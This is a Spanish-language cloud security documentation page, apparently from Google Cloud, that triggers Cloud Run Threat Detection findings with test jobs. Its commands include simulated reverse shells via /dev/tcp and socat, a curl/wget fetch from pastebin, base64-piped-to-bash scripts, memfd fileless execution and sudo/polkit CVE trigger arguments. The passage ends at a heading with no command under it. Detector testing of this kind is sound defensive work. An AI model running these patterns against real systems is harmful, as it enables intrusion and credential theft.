En esta página, se explica cómo verificar que Cloud Run Threat Detection funcione. Para ello, activa de forma intencional los detectores y verifica de los resultados. Cloud Run Threat Detection es un servicio integrado de Security Command Center.
Antes de comenzar
Para detectar posibles amenazas a tus servicios y trabajos de Cloud Run, asegúrate de que el servicio Cloud Run Threat Detection esté habilitado en Security Command Center. Algunos detectores están inhabilitados de forma predeterminada. Para probar esos detectores, primero debes habilitarlos.
Configura las variables de entorno
Para probar los detectores, usa la Google Cloud consola y Cloud Shell. Puedes establecer variables de entorno en Cloud Shell para que sea más conveniente ejecutar comandos. Usarás estas variables para probar todos los detectores.
Ve a la Google Cloud consola.
Selecciona el proyecto que contiene el trabajo de Cloud Run que deseas usar para probar.
Haz clic en Activate Cloud Shell.
En Cloud Shell, configura las variables de entorno.
Establece el proyecto y la región en los que crearás trabajos de prueba.
export PROJECT=PROJECT_ID export REGION=REGION
Con las variables de entorno establecidas, puedes seguir las instrucciones para probar los detectores.
Comando y control: Se detectó una herramienta de esteganografía
Para activar un Command and Control: Steganography Tool Detected (vista previa)
resultado, ejecuta un objeto binario con capacidades de manipulación de archivos coherentes con
las herramientas de esteganografía dentro de un contenedor. En este ejemplo, se copia /bin/ls y se cambia el nombre a steghide.
Crea y ejecuta el trabajo de Cloud Run:
JOB_NAME="crtd-test-steganography-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/steghide; sleep 60; /tmp/steghide; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Este procedimiento de prueba crea un resultado de Command and Control: Steganography Tool
Detected.
Acceso a credenciales: Buscar Google Cloud credenciales
Para activar un resultado de Credential Access: Find Google Cloud Credentials,
ejecuta un objeto binario capaz de buscar contenido de archivos dentro de un
contenedor. En este ejemplo, se copia /bin/ls, se cambia el nombre a grep y se ejecuta con argumentos sospechosos.
Crea y ejecuta el trabajo de Cloud Run:
JOB_NAME="crtd-test-find-creds-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/grep; sleep 60; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Este procedimiento de prueba crea un Credential Access: Find Google Cloud Credentials
resultado.
Acceso a credenciales: Reconocimiento de claves GPG
Para activar un resultado de Credential Access: GPG Key Reconnaissance, ejecuta una herramienta de búsqueda con argumentos sospechosos.
Crea y ejecuta el trabajo de Cloud Run:
JOB_NAME="crtd-test-gpg-key-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find secring.gpg; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Este procedimiento de prueba crea un resultado de Credential Access: GPG Key Reconnaissance.
Acceso a las credenciales: Busca claves privadas o contraseñas
Para activar un resultado de Credential Access: Search Private Keys or Passwords, ejecuta una herramienta de búsqueda con argumentos sospechosos.
Crea y ejecuta el trabajo de Cloud Run:
JOB_NAME="crtd-test-search-keys-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find id_rsa; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Este procedimiento de prueba crea un resultado de Credential Access: Search Private Keys or
Passwords.
Evasión de defensa: Línea de comandos de archivo ELF en Base64
Para activar un resultado de Defense Evasion: Base64 ELF File Command Line, ejecuta
base64 con argumentos de encabezado ELF codificados.
Crea y ejecuta el trabajo de Cloud Run:
JOB_NAME="crtd-test-base64-elf-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; base64 -d f0VMRgIB; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Este procedimiento de prueba debería crear dos resultados de Defense Evasion: Base64 ELF File Command Line.
Evasión de defensa: Se ejecutó una secuencia de comandos de Python codificada en Base64
Para activar un resultado de Defense Evasion: Base64 Encoded Python Script Executed, ejecuta echo con un comando de Python codificado.
Crea y ejecuta el trabajo de Cloud Run:
JOB_NAME="crtd-test-base64-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; base64 aW1wb3J0IH; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Este procedimiento de prueba crea un resultado de Defense Evasion: Base64 Encoded Python Script Executed.
Evasión de defensa: Se ejecutó una secuencia de comandos de shell codificada en Base64
Para activar un resultado de Defense Evasion: Base64 Encoded Shell Script Executed, ejecuta echo con un comando de shell codificado.
Crea y ejecuta el trabajo de Cloud Run:
JOB_NAME="crtd-test-base64-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; base64 IyEvYmluL3NoC; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Este procedimiento de prueba crea un resultado de Defense Evasion: Base64 Encoded Shell Script Executed.
Evasión de defensa: Iniciar la herramienta de compilador de código en el contenedor
Para activar un resultado de Defense Evasion: Launch Code Compiler Tool In Container
(vista previa), ejecuta una herramienta de compilador.
Crea y ejecuta el trabajo de Cloud Run:
JOB_NAME="crtd-test-launch-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/gcc10; sleep 60; /tmp/gcc10 -o /tmp/gcc10.o; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Este procedimiento de prueba crea un resultado de Defense Evasion: Launch Code Compiler Tool
In Container.
Ejecución: Se ejecutó un objeto binario malicioso agregado
Para activar un resultado de Execution: Added Malicious Binary Executed, agrega un objeto binario malicioso (EICAR) a tu contenedor y ejecútalo.
Crea y ejecuta el trabajo de Cloud Run:
JOB_NAME="crtd-test-added-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; sleep 60; /tmp/test_mal_file; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Este procedimiento de prueba crea un resultado de Execution: Added Malicious Binary Executed.
Ejecución: Se cargó una biblioteca maliciosa agregada
Para activar un resultado de Execution: Added Malicious Library Loaded, agrega
una biblioteca maliciosa en tu contenedor y cárgala. En este ejemplo, se actualiza el archivo /tmp/test_mal_lib con una biblioteca maliciosa simulada y, luego, se carga con mmap. La carga de la biblioteca
de un archivo existente es inesperada porque el archivo no estaba en la imagen del contenedor original y la biblioteca es un archivo de prueba EICAR, que la inteligencia sobre amenazas clasifica como malicioso.
Crea y ejecuta el trabajo de Cloud Run:
JOB_NAME="crtd-test-add-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << 'EOF2' > JOB_NAME.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /tmp/test_mal_lib
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
int fd = open(argv[1], O_RDONLY);
if (fd == -1) return 1;
struct stat sb;
if (fstat(fd, &sb) == -1) return 1;
void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
if (addr == MAP_FAILED) return 1;
write(1, addr, sb.st_size);
munmap(addr, sb.st_size);
close(fd);
return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /tmp/test_mal_lib
sleep 10
EOF2
ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
rm -f JOB_NAME.sh
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Este procedimiento de prueba crea un resultado de Execution: Added Malicious Library Loaded.
Ejecución: Escape del contenedor
Para activar un resultado de Execution: Container Escape, ejecuta una herramienta que simule el comportamiento de escape del contenedor.
Crea y ejecuta el trabajo de Cloud Run:
JOB_NAME="crtd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/botb-linux-amd64; sleep 60; /tmp/botb-linux-amd64 -autopwn; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Este procedimiento de prueba crea un resultado de Execution: Container Escape.
Ejecución: Ejecución sin archivos en /memfd:
Para activar un resultado de Execution: Fileless Execution in /memfd:,
ejecuta un proceso desde el sistema de archivos en la memoria /memfd: con Python.
Crea y ejecuta el trabajo de Cloud Run:
JOB_NAME="crtd-test-fileless-memfd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
PYTHON_CODE=$(cat <<EOF
import os,sys
f = open('/bin/ls','rb')
execdata = f.read()
f.close()
fd = os.memfd_create('', 0)
fname = '/proc/self/fd/{}'.format(fd)
f = open(fname,'wb')
f.write(execdata)
f.close()
args = ['/bin']
os.execve(fname, args, os.environ)
EOF
)
B64_PAYLOAD=$(echo "$PYTHON_CODE" | base64 -w 0)
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image python:latest \
--command=bash \
--args="-c","sleep 60; echo $B64_PAYLOAD | base64 -d | python3 ; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Este procedimiento de prueba crea un resultado de Execution: Fileless Execution in /memfd:.
Ejecución: Se detectó la ejecución de la herramienta de ataque de Kubernetes
Para activar un resultado de Execution: Kubernetes Attack Tool Execution, ejecuta un programa que coincida con una herramienta de ataque conocida.
Crea y ejecuta el trabajo de Cloud Run:
JOB_NAME="crtd-test-k8s-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/amicontained; sleep 60; /tmp/amicontained; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Este procedimiento de prueba crea un resultado de Execution: Kubernetes Attack Tool Execution.
Ejecución: Se detectó la ejecución de la herramienta de reconocimiento local
Para activar un resultado de Execution: Local Reconnaissance Tool Execution, ejecuta un programa que coincida con una herramienta de reconocimiento.
Crea y ejecuta el trabajo de Cloud Run:
JOB_NAME="crtd-test-local-recon-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/linenum.sh; sleep 60; /tmp/linenum.sh; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Este procedimiento de prueba crea un resultado de Execution: Local Reconnaissance Tool Execution.
Ejecución: Se ejecutó un objeto binario malicioso modificado
Para activar un resultado de Execution: Modified Malicious Binary Executed, modifica un objeto binario para que coincida con una firma maliciosa conocida (EICAR).
Crea y ejecuta el trabajo de Cloud Run:
JOB_NAME="crtd-test-mod-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","echo -n '$eicar' > /etc/issue; chmod 700 /etc/issue; sleep 60; /etc/issue; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Este procedimiento de prueba crea un resultado de Execution: Modified Malicious Binary Executed.
Ejecución: Se cargó una biblioteca maliciosa modificada
Para activar un resultado de Execution: Modified Malicious Library Loaded, modifica un archivo existente con una biblioteca maliciosa en tu contenedor y cárgala. En este ejemplo, se actualiza el archivo /etc/issue con una biblioteca maliciosa simulada y, luego, se carga con mmap. La carga de la biblioteca
de un archivo existente es inesperada porque la biblioteca es un archivo de prueba EICAR, que la inteligencia sobre amenazas clasifica como malicioso.
Crea y ejecuta el trabajo de Cloud Run:
JOB_NAME="crtd-test-mod-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << 'EOF2' > JOB_NAME.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /etc/issue
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
int fd = open(argv[1], O_RDONLY);
if (fd == -1) return 1;
struct stat sb;
if (fstat(fd, &sb) == -1) return 1;
void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
if (addr == MAP_FAILED) return 1;
write(1, addr, sb.st_size);
munmap(addr, sb.st_size);
close(fd);
return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /etc/issue
sleep 10
EOF2
ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
rm -f JOB_NAME.sh
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Este procedimiento de prueba crea un resultado de Execution: Modified Malicious Library Loaded.
Ejecución: Ejecución remota de código de Netcat en un contenedor
Para activar un evento de Execution: Netcat Remote Code Execution In Container, ejecuta netcat con argumentos sospechosos.
Crea y ejecuta el trabajo de Cloud Run:
JOB_NAME="crtd-test-netcat-rce-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","cp /bin/ls /tmp/nc; sleep 60; /tmp/nc -e; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Este procedimiento de prueba crea un resultado de Execution: Netcat Remote Code Execution In
Container.
Ejecución: Posible ejecución de comandos arbitrarios con CUPS (CVE-2024-47076)
Para activar un resultado de Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076), ejecuta una secuencia de comandos que simule la vulnerabilidad.
Crea y ejecuta el trabajo de Cloud Run:
JOB_NAME="crtd-test-cups-cve-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c",'sleep 60; cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10' \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Este procedimiento de prueba crea un resultado de Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076).
Ejecución: Se detectó una posible ejecución remota de comandos
Para activar un resultado de Execution: Possible Remote Command Execution Detected
(vista previa), ejecuta un comando que intente una conexión remota.
Crea y ejecuta el trabajo de Cloud Run:
JOB_NAME="crtd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; cp /bin/ls /tmp/touch; echo \"Hello\" | /tmp/touch >& /dev/tcp/8.8.8.8/53; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Este procedimiento de prueba crea un resultado de Execution: Possible Remote Command
Execution Detected.
Ejecución: Se detectó la ejecución del programa con entorno de proxy HTTP no permitido
Para activar un resultado de Execution: Program Run with Disallowed HTTP Proxy Env, ejecuta un programa con una variable de entorno de proxy incorrecta.
Crea y ejecuta el trabajo de Cloud Run:
JOB_NAME="crtd-test-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Este procedimiento de prueba crea un resultado de Execution: Program Run with Disallowed
HTTP Proxy Env.
Ejecución: Se detectó una shell inversa de Socat
Para activar un resultado de Execution: Socat Reverse Shell Detected, establece una shell inversa con la utilidad socat.
Crea y ejecuta el trabajo de Cloud Run:
JOB_NAME="crtd-test-socat-rev-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
RAW_SOCAT="timeout 10s /usr/bin/socat TCP-LISTEN:4444,reuseaddr,fork STDOUT & sleep 5 && timeout 5s /usr/bin/socat TCP:127.0.0.1:4444 EXEC:/bin/bash,pty,stderr || true"
B64_SOCAT=$(echo -n "$RAW_SOCAT" | base64 | tr -d '\n\r ')
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args="-c","sleep 60; apt-get update -qq && apt-get install socat -y -qq && echo $B64_SOCAT | base64 -d | bash" \
--execute-now \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Este procedimiento de prueba crea un resultado de Execution: Socat Reverse Shell Detected.
Ejecución: Se cargó un objeto compartido de OpenSSL sospechoso
Para activar un resultado de Execution: Suspicious OpenSSL Shared Object Loaded, ejecuta openssl con una biblioteca sospechosa.
Crea y ejecuta el trabajo de Cloud Run:
JOB_NAME="crtd-test-openssl-so-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/openssl; /tmp/openssl engine /tmp/fakelib.so; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Este procedimiento de prueba crea un resultado de Execution: Suspicious OpenSSL Shared Object Loaded.
Robo de datos: Se detectó el lanzamiento de herramientas de copia remota de archivos en el contenedor
Para activar un resultado de Exfiltration: Launch Remote File Copy Tools In Container, ejecuta una herramienta de copia remota.
Crea y ejecuta el trabajo de Cloud Run:
JOB_NAME="crtd-test-remote-copy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/rsync; /tmp/rsync; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Este procedimiento de prueba crea un resultado de Exfiltration: Launch Remote File Copy Tools
In Container.
Impacto: Detecta líneas de comandos maliciosas
Para activar un resultado de Impact: Detect Malicious Cmdlines (vista previa),
ejecuta un nombre de comando sospechoso (IPFS).
Crea y ejecuta el trabajo de Cloud Run:
JOB_NAME="crtd-test-malicious-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/ipfs; /tmp/ipfs; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Este procedimiento de prueba crea un resultado de Impact: Detect Malicious Cmdlines.
Impacto: Quita datos masivos del disco
Para activar un resultado de Impact: Remove Bulk Data From Disk, ejecuta una herramienta como shred.
Crea y ejecuta el trabajo de Cloud Run:
JOB_NAME="crtd-test-remove-bulk-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/shred; /tmp/shred; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Este procedimiento de prueba crea un resultado de Impact: Remove Bulk Data From Disk.
Impacto: Actividad de minería de criptomonedas sospechosa con el protocolo Stratum
Para activar un resultado de Impact: Suspicious cryptocurrency mining activity using the Stratum
Protocol, ejecuta un objeto binario con argumentos que se parezcan a los que usa el software de minería de criptomonedas que se comunica con el protocolo Stratum.
Crea y ejecuta el trabajo de Cloud Run:
JOB_NAME="crtd-test-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Este procedimiento de prueba crea un resultado de Impact: Suspicious cryptocurrency mining activity
using the Stratum Protocol.
Secuencia de comandos maliciosa ejecutada
Para activar un resultado de Malicious Script Executed, ejecuta una secuencia de comandos que imite un comportamiento malicioso.
Crea y ejecuta el trabajo de Cloud Run:
JOB_NAME="crtd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; sh -c \"(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d\"; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Este procedimiento de prueba crea un resultado de Malicious Script Executed.
Se detectó una URL maliciosa
Para activar un resultado de Malicious URL Observed, ejecuta un objeto binario y proporciona una URL maliciosa como argumento.
Crea y ejecuta el trabajo de Cloud Run:
JOB_NAME="crtd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; apt-get update && apt-get install curl -y && curl https://testsafebrowsing.appspot.com/s/malware.html | cat; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Este procedimiento de prueba activa un resultado de Malicious URL Observed.
Elevación de privilegios: Abuso de sudo para la elevación de privilegios (CVE-2019-14287)
Para activar un resultado de Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287), ejecuta el objeto binario sudo con el parámetro -u#-1.
Crea y ejecuta el trabajo de Cloud Run:
JOB_NAME="crtd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Este procedimiento de prueba crea un resultado de Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287).
Elevación de privilegios: Se detectó una posible elevación de privilegios con sudo (CVE-2021-3156)
Para activar un resultado de Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156), ejecuta el objeto binario sudo con el parámetro -s y un parámetro que termine con ``.
Crea y ejecuta el trabajo de Cloud Run:
JOB_NAME="crtd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c",'sleep 60; cp /bin/ls /tmp/sudo; su $(id -un 1000) -c "/tmp/sudo -s \"123\\\\\"" ; sleep 10' \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Este procedimiento de prueba crea un resultado de Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156).
Elevación de privilegios: Vulnerabilidad de elevación de privilegios locales de Polkit (CVE-2021-4034)
Para activar un resultado de Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034), ejecuta un objeto binario pkexec con la variable de entorno GCONV_PATH establecida como un usuario no raíz.
Crea y ejecuta el trabajo de Cloud Run:
JOB_NAME="crtd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c",'sleep 60; cp /bin/ls /tmp/pkexec; su $(id -un 1000) -c "GCONV_PATH=junk /tmp/pkexec;"; sleep 10' \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Este procedimiento de prueba crea un resultado de Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034).
Shells inversas
Para activar un resultado de Reverse Shell, inicia un objeto binario con redireccionamiento stdin a un socket conectado a TCP.
Crea y ejecuta el trabajo de Cloud Run:
JOB_NAME="crtd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Este procedimiento de prueba crea un resultado de Reverse Shell.
Ejecución: Imagen de Docker para criptominería
Para activar un resultado de Execution: Cryptomining Docker Image, implementa un contenedor con un nombre de imagen de Docker asociado con el software de criptominería.
Crea y ejecuta el trabajo de Cloud Run:
JOB_NAME="crtd-test-mining-img-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image docker.io/security-test-DO-NOT-USE/xmrig:latest \
--command sh \
--wait || true
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Este procedimiento de prueba crea un resultado de Execution: Cryptomining Docker Image. Ten en cuenta que la implementación del trabajo fallará porque la imagen no existe, pero el resultado se generará de todos modos.
Impacto: Comandos de criptominería
Para activar un resultado de Impact: Cryptomining Commands, ejecuta un comando con argumentos que se parezcan a los del software de criptominería conocido.
Crea y ejecuta el trabajo de Cloud Run:
JOB_NAME="crtd-test-mining-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command xmrig \
--wait || true
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Este procedimiento de prueba crea un resultado de Impact: Cryptomining Commands.
Elevación de privilegios: Cuenta de servicio predeterminada de Compute Engine SetIAMPolicy
Para activar un resultado de Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy, ejecuta un comando que use la cuenta de servicio predeterminada de Compute Engine para establecer la política de IAM de un servicio de Cloud Run.
Crea y ejecuta el trabajo de Cloud Run:
